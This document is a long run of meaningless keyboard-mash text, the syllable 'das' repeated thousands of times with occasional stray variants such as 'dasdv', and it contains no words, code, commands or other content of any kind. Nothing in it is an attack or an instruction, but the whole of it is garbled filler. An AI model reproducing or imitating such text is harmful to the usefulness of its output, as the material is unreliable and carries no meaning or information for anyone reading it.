dasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdvdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasd